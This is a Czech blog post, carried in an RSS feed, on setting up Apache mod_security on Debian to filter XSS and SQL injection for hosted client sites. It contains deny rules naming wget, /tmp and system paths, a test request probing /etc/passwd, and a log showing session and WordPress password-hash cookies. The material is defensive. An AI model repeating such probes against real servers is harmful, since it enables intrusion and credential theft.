				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=52</guid>
		<description><![CDATA[Několikrát jsem měl bohužel tu &#8222;čest&#8220; nahlédnout do zdrojových kódů webových stránek našich klientů a teda řeknu Vám fuj&#8230; Troufám si říct, že bych byl schopný během několika málo vteřin vymyslet alespoň 10 XSS útoků. Vzhledem k tomu, že tato firma u nás hostuje více jak 300 různých portálů, bylo mi jasné, že oprava všech [...]]]></description>
			<content:encoded><![CDATA[<p>Několikrát jsem měl bohužel tu &#8222;čest&#8220; nahlédnout do zdrojových kódů webových stránek našich klientů a teda řeknu Vám fuj&#8230; Troufám si říct, že bych byl schopný během několika málo vteřin vymyslet alespoň 10 XSS útoků. Vzhledem k tomu, že tato firma u nás hostuje více jak 300 různých portálů, bylo mi jasné, že oprava všech php scriptů je nemožná a tak jsem přemýšlel, jak jim alespoň trochu pomoci s bezpečností z mé strany.<span id="more-52"></span></p>
<p>Původně jsem zamýšlel použít globalní .htaccess a vněm mod_rewrite. Chtěl jsem parsovat veškeré požadavky na jednotlivé portály a sanitizovat je. Ačkoliv se toto řešení jevilo jako správné, v praxi jsem od něj musel upustit a najít řešení lepší. Oprášil jsem tak své záložky v prohlížeči a narazil na mod_security do Apache. Něco málo jsem o něm slyšel a už dlouho jsem ho chtěl vyzkoušet &#8211; teď k tomu byla velice vhodná příležitost.</p>
<p><strong>Instalace na debianu byla více než snadná:</strong></p>
<p># 1. Nejprve jsem nainstaloval samotný modul<br />
<code>apt-get install libapache2-mod-security</code></p>
<p># 2. Následně jsem jej povolili ke spuštění v Apache<br />
<code>a2enmod mod-security</code></p>
<p># 3. Nechtěl jsem vymýšlet celou konfiguraci z hlavy a tak jsem si zkopíroval vzorovou<br />
<code>cp /usr/share/doc/libapache2-mod-security/examples/httpd2.conf.example-full /etc/apache2/conf.d/mod_security.conf</code></p>
<p># 4. A tu jsem si upravil<br />
<code>vi /etc/apache2/conf.d/mod_security.conf</code><br />
<code><ifmodule><br />
SecFilterEngine On<br />
SecFilterCheckURLEncoding On<br />
SecFilterCheckUnicodeEncoding Off<br />
SecFilterForceByteRange 0 255<br />
SecAuditEngine RelevantOnly<br />
SecAuditLog /var/log/apache2/audit_log<br />
SecFilterDebugLog /var/log/apache2/modsec_debug_log<br />
SecFilterDebugLevel 0<br />
SecFilterScanPOST On<br />
SecFilterDefaultAction "deny,log,status:500"<br />
SecFilter /etc/[0-9a-z]<br />
SecFilter /bin/[0-9a-z]<br />
SecFilter /usr/[0-9a-z]<br />
SecFilter /usr/bin/[0-9a-z]<br />
SecFilter /tmp/[0-9a-z]<br />
SecFilter cd\x20/tmp<br />
SecFilter wget\x20<br />
SecFilter "delete[[:space:]]+from"<br />
SecFilter "insert[[:space:]]+into"<br />
SecFilter "select.+from"<br />
SecFilter "&lt; [[:space:]]*script"<br />
#SecFilter "&lt;(.|\n)+&gt;"<br />
</ifmodule></code></p>
<p># 6. Následoval reload Apache serveru<br />
<code>/etc/init.d/apache2 force-reload</code></p>
<p><strong>Co to všechno umí?</strong><br />
Mod_security nám vyčistí veškeré požadavky (jak GEt tak i POST) od zbytečných dvojitých lomítek (//), odkazů na sebe sama (./), dokáže zaměnit &#8222;\&#8220; za &#8222;/&#8220;, přehodí %00 za obyčejnou mezeru kontroluje validitu a bytovou přesnost požadavku, dokáže vyhodnotit požadavek na základě regexpů.</p>
<p>Na základě detekce &#8222;řetezce&#8220; je pak podle konfiguračního souboru (SecFilterDefaultAction) schopný vytvořit i několik akcí mezi něž patří:<br />
deny &#8211; zakáže požadavek<br />
allow &#8211; zastaví kontrolu pravidel a povolí request<br />
status:xxx, &#8211; odpoví s HTTP statusem xxx<br />
redirect:url, &#8211; přesměruje požadavek na danou (absolutní) adresu<br />
exec:cmd &#8211; vykoná příkaz cmd (vhodné s nějakým odesílátkem emailů)<br />
log &#8211; uloží request s detaily do logu<br />
nolog &#8211; neukládá request do logu<br />
pass &#8211; ignoruje toto pravidlo a pokračuje v dalších pravidlech<br />
pause:xxx &#8211; pozdrží request o xxx milisekund (pozor at neprovedete DoS útok na sebe sami)<br />
chain &#8211; skočí na další pravidlo v chainu<br />
skipnext:n, přskočí n pravidel</p>
<p><strong>Regexpové filtry</strong><br />
Asi nejjednodušším filtrem v mod_security je zadání SecFilter.<br />
V konfiguračním souboru apache/mod_security máme:<br />
<code>SecFilterEngine On<br />
SecFilterCheckURLEncoding On<br />
SecFilterCheckUnicodeEncoding Off<br />
SecAuditEngine RelevantOnly<br />
SecAuditLog /var/log/apache2/audit_log<br />
SecFilterDebugLog /var/log/apache2/modsec_debug_log<br />
SecFilterScanPOST On<br />
SecFilterDefaultAction "deny,log,status:500"<br />
SecFilter /etc/passwd</code></p>
<p>Jakmile do prohlížeče zadáme adresu například <a href="http://hodza.net/test.php?shell=/etc/passwd">http://hodza.net/test.php?shell=/etc/passwd</a>, vyhodí nám prohlížeč chybu 500 a  do /var/log/apache2/audit_log zapíše následující:</p>
<p><code>HTTP/1.1 500 Internal Server Error<br />
X-Powered-By: PHP/4.3.10-19<br />
Content-Length: 2166<br />
Connection: close<br />
Content-Type: text/html<br />
========================================<br />
Request: 85.160.65.12 - - [21/Mar/2007:11:23:55 +0100] "GET /test.php?shell=/etc/passwd HTTP/1.1" 500 2157<br />
Handler: (null)<br />
----------------------------------------<br />
GET /test.php?shell=/etc/passwd HTTP/1.1<br />
Host: hodza.net<br />
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
Accept-Language: en-us,en;q=0.5<br />
Accept-Encoding: gzip,deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive: 300<br />
Connection: keep-alive<br />
Cookie: IMAIL_SESS_KEY_1174461441-18654=LIuOFNUhDI3vlqgL; IMAIL_SESS_KEY_1174458493-41266=6pdFfVCoIZlnTdz2; IMAIL_SESS_KEY_1174458956-45632=22MSPZFhVgcl4HBF; wpthemefd01865e503f46c67c4df25a7c0983da=Magellan; IMAIL_SESS_KEY_1174458444-78097=yICVpRLlelQ7b4WR; IMAIL_TEST_COOKIE=test; PHPSESSID=4968f3ea1b79953b8e1e20febf5c3bfd; phpMyAdmin=d44d6e2f64ccd35352989d45c30a9b90; wordpressuser_fd01865e503f46c67c4df25a7c0983da=admin; wordpresspass_fd01865e503f46c67c4df25a7c0983da=2fb3192c5df98faf13d864c4a3b1fd06; dbx-postmeta=grabit:0+|1-|2-|3-|4-|5-&amp;advancedstuff:0-|1-|2-<br />
mod_security-message: Access denied with code 500. Pattern match "/etc/passwd" at THE_REQUEST<br />
mod_security-action: 500<br />
HTTP/1.1 500 Internal Server Error<br />
X-Powered-By: PHP/4.3.10-19<br />
Content-Length: 2157<br />
Connection: close<br />
Content-Type: text/html</code></p>
<p><strong>Jak vidíte &#8211; krásné, jednoduché účinné a spolehlivé.</strong><br />
Další využití mod_security je na snadě. Při psaní příspěvku jsem si vzpomněl na <a href="http://e-ott.info/">Vlastu</a>, kdy měl v komentářích na blogu snad desetkrát řetězec &#8222;Cheap phentermine….&#8220;. Přitom stačilo zapnout mod_security a dát do konfiguráku <em>SecFilter &#8222;Cheap phentermine&#8220;</em> nebo zakázat spamerského User-Agenta, případně znepřístupnit blok IP adres odkud jsou příspěvky rozesílány.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/03/21/apache-mod-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
